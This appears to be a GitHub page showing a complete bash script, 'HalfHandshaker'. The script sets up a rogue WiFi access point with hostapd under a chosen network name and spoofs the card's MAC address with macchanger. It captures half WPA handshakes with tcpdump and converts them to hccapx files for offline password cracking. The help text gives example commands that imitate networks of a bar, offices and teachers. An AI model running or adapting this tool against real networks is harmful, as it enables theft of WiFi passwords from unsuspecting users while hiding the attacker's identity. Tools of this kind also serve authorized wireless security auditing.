forked from Miguelillo000/halfhandshaker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
halfhandshaker.sh
executable file
·246 lines (216 loc) · 8.61 KB
/
halfhandshaker.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
#!/bin/bash
####################################################################
#
# HalfHandshaker
#
# By: Miguelillo
# Started: 26/06/20 - 0.5 Beta
# Uptdated and rewritted: 26/04/21 - 1.0
#
# For GitHub and for the SeguridadWireless forum community!
#
# Special thanks for fromCharCode!!
#
####################################################################
# Nombre predeterminado del archivo
date=$(date +%d-%m-%y_%H-%M)
output_name="captura_$date"
# Estados
s1="[$(tput setaf 2)+$(tput sgr0)]"
s2="[$(tput setaf 4)+$(tput sgr0)]"
s3="/$(tput setaf 3)!$(tput sgr0)\\"
# Ayuda
function show_help(){
echo -e "$help"
exit 0
}
# Al presionar CTRL C
trap printout SIGINT
printout() {
echo
exit_script
}
# Comprobar essid
function check_essid(){
if [ -z "$essid" ]; then
echo " $s3 $valid_essid"
exit 1
fi
}
# Comprueba interfaz
function check_interface() {
if [ -z "$interface" ]; then
error=1
else
if [ -z "$(ip link | grep $interface:)" ]; then
error=1
fi
fi
if [ "$error" == "1" ]; then
echo " $s3 $valid_interface"
exit 1
fi
}
# Mac random
function random_mac(){
echo
printf " $s1 $changing_mac "
ip l s $interface down > /dev/null && macchanger -r $interface | grep "New" | awk -F " " '{print $2}' | head -c 18 && ip l s $interface up > /dev/null || echo " /\ ERROR /\\"
echo
echo
}
# Devolver mac original
function original_mac(){
printf " $s1 $changing_mac_o "
ip l s $interface down && macchanger -p $interface | grep "New" | awk -F " " '{print $2}' | head -c 18 && ip l s $interface up || echo " /\ ERROR /\\"
echo
}
# Funcion de salida
function exit_script(){
if [ "$noautostop" = "1" ]; then
if [ -f "$output_name.cap" ]; then
if [ "$(python3 half_cap2hccapx.py $essid $output_name.cap c || sleep 0)" == "1" ]; then
python3 half_cap2hccapx.py $essid $output_name.cap || echo " $s3 $saving_err"
fi
fi
fi
killall hostapd > /dev/null || sleep 0
rm hostapd.conf || sleep 0
killall tcpdump > /dev/null || sleep 0
if [ "$random_mac" == "1" ]; then
original_mac
fi
echo
exit
}
# Hostapd
function hostapd(){
echo " $s1 $starting hostapd..."
check_essid
echo """interface=$interface
driver=nl80211
ssid=$essid
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=password123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
rsn_pairwise=TKIP CCMP""">hostapd.conf
echo
xterm -T "Hostapd" -e "tput setaf 6 && hostapd hostapd.conf || killall hostapd; hostapd hostapd.conf"
}
# Ataque principal
function attack(){
check_interface
check_essid
if [ "$random_mac" == "1" ]; then
random_mac
fi
echo " $s1 $starting tcpdump..."
xterm -T "tcpdump" -e "tput setaf 2 && tcpdump -U -i $interface -w $output_name.cap" &
sleep 1
hostapd &
sleep 1
echo " --- CTRL + C $ctrl_c ---"; echo; printf " "
if [ "$noautostop" != "1" ]; then
while [ "$(python3 half_cap2hccapx.py $essid $output_name.cap c || sleep 1)" != "1" ]; do
tput setaf $((1 + $RANDOM % 6))
printf "."; sleep 2
done
tput sgr0
python3 half_cap2hccapx.py $essid $output_name.cap && saved=1 || echo "ERROR"
if [ -f "$output_name.hccapx" ]; then
echo; echo; echo " $s2 $file_is $(pwd)/$output_name.hccapx"; echo
fi
else
while [ "1" == "1" ]; do
printf "."; sleep 2
done
fi
exit_script
}
# Detectar idioma
if [ "$(echo "$LANG" | head -c 2)" == "es" ]; then
### SPANISH ###
# HELP
help="$(tput setaf 2) _ _ $(tput sgr0) _ _\n$(tput setaf 2) | | | |$(tput sgr0)| | | |\n$(tput setaf 2) | |______| |$(tput sgr0)| |____________| | Version: 1.0\n$(tput setaf 2) | ______ |$(tput sgr0)| ____________ | By Miguelillo & fromCharCode\n$(tput setaf 2) | | Half | |$(tput sgr0)| | Handshaker | | 27/04/2021\n$(tput setaf 2) |_| |_|$(tput sgr0)|_| |_|\n\n -> https://github.com/Miguelillo000/halfhandshaker <-\n\n\n Opciones:\n \n $(tput setaf 2)-h, --help$(tput sgr0) Muestra esta ayuda\n $(tput setaf 2)-v, --version$(tput sgr0) Muestra la version del script\n\n \n $(tput setaf 2)-i, --interface $(tput setaf 3)<interfaz>$(tput sgr0) Especifica la interfaz a usar\n\n $(tput setaf 2)-e, --essid $(tput setaf 3)<nombre>$(tput sgr0) Especifica el nombre del AP falso\n $(tput setaf 2)-o, --output $(tput setaf 3)<nombre>$(tput sgr0) Elige el nombre del archivo .cap y hccapx\n \n $(tput setaf 2)-n, --no-auto-stop$(tput sgr0) No para automaticamente cuando se detecta un handshake\n $(tput setaf 2)-r, --random-mac$(tput sgr0) Cambia la mac de la tarjeta de red por una al azar\n \n\n Ejemplos:\n\n ./halfhandshaker.sh -i wlan0 -e \"Bar-Juanito\" -o \"red-bar\"\n \n ./halfhandshaker.sh -i wlan0 -e \"Oficinas-12\" -r\n \n ./halfhandshaker.sh -i wlan0 -e \"Red-profesores\" -r -o \"wifi-profes\"\n"
root_required="Es necesario ejecutar el script con permisos de administrador"; needs="Falta dependencia:"; valid_essid="Se necesita especificar una essid valida"; valid_interface="Se necesita especificar una interfaz valida"; changing_mac="Cambiando mac ->"; changing_mac_o="Restaurando mac ->"; starting="Iniciando"; ctrl_c="para parar"; file_is="Handshake guardado en"; argumment_in="Argumento invalido"; exists1="El archivo"; exists2="ya existe"; overwrite="¿Quieres sobreescribirlo?"; exiting="Saliendo..."; option_in="Opcion invalida"; saving_err="Error al guardar"
else
### ENGLISH ###
# HELP
help="$(tput setaf 2) _ _ $(tput sgr0) _ _ \n$(tput setaf 2) | | | |$(tput sgr0)| | | |\n$(tput setaf 2) | |______| |$(tput sgr0)| |____________| | Beta 0.5\n$(tput setaf 2) | ______ |$(tput sgr0)| ____________ | By Miguelillo & fromCharCode\n$(tput setaf 2) | | Half | |$(tput sgr0)| | Handshaker | | 28/06/2020\n$(tput setaf 2) |_| |_|$(tput sgr0)|_| |_|\n \n -> https://github.com/Miguelillo000/halfhandshaker <-\n\n \n Options:\n \n $(tput setaf 2)-h, --help$(tput sgr0) Show help\n $(tput setaf 2)-v, --version$(tput sgr0) Show script version\n \n \n $(tput setaf 2)-i, --interface $(tput setaf 3)<interface>$(tput sgr0) Set the network interface\n \n $(tput setaf 2)-e, --essid $(tput setaf 3)<name>$(tput sgr0) Set the fake AP's name\n $(tput setaf 2)-o, --output $(tput setaf 3)<name>$(tput sgr0) Set the name of the cap and hccapx files\n \n $(tput setaf 2)-n, --no-auto-stop$(tput sgr0) Does not stop automatically when a handshake is captured\n $(tput setaf 2)-r, --random-mac$(tput sgr0) Change the mac address of the interface by a random one\n \n \n Ejemplos:\n\n ./halfhandshaker.sh -i wlan0 -e \"John-pub\" -o \"pub-net\"\n \n ./halfhandshaker.sh -i wlan0 -e \"Offices-12\" -r\n \n ./halfhandshaker.sh -i wlan0 -e \"SchoolNet\" -r -o \"teachers-wifi\"\n "
root_required="Root priveleges are necessary"; needs="Missing dependency "; valid_essid="A valid essid is required"; valid_interface="A valid interface is required"; changing_mac="Changing mac ->"; changing_mac_o="Restoring mac ->"; starting="Starting"; ctrl_c="to stop"; file_is="Handshake saved in"; argumment_in="Invalid argumment"; exists1="File"; exists2="already exists"; overwrite="Overwrite it?"; exiting="Exitting..."; option_in="Invalid option"; saving_err="Error at saving"
fi
# Comprobando privilegios
id -u | grep -q "^0$" || { echo -e "\n $s3 $root_required \n"; exit 1; }
# Comprobando las herramientas
for dependency in hostapd ip macchanger xterm python3 tcpdump; do
if [ -z "$(command -v $dependency)" ]; then
echo -e "\n $s3 $needs $dependency"
no_tool=1
fi
done
[[ -v no_tool ]] && { echo; exit 1; }
# Comprobando si está vacio
if [ $# == "0" ]; then
show_help
fi
# Opciones
while [ $# -ne 0 ]; do
case "$1" in
-h|--help)
show_help
;;
-v|--version)
echo "Version: 1.0"
exit 0
;;
-i|--interface)
interface="$2"
shift
;;
-e|--essid)
essid="$2"
shift
;;
-o|--output)
output_name="$2"
shift
;;
-r|--random-mac)
random_mac=1
;;
-n|--no-auto-stop)
noautostop="1"
;;
*)
echo
echo "$argumment_in: $1"
show_help
;;
esac
shift
done
ok=false
# Comprobar si existe fichero con el mismo nombre
if [ -f "$output_name.cap" ]; then
while [ "$ok" == "false" ]; do
echo; echo " $s3 $exists1 $output_name.cap $exists2"; printf " $s2 $overwrite [y/n]: "
read yn
if [ "$yn" == "y" ] || [ "$yn" == "Y" ] || [ "$yn" == "yes" ] || [ "$yn" == "YES" ]; then
echo
ok=true
elif [ "$yn" == "n" ] || [ "$yn" == "N" ] || [ "$yn" == "no" ] || [ "$yn" == "NO" ]; then
echo; echo " $s2 $exiting"; echo
exit 0
else
echo; echo " $s3 $option_in"; echo
fi
done
fi
attack
exit 0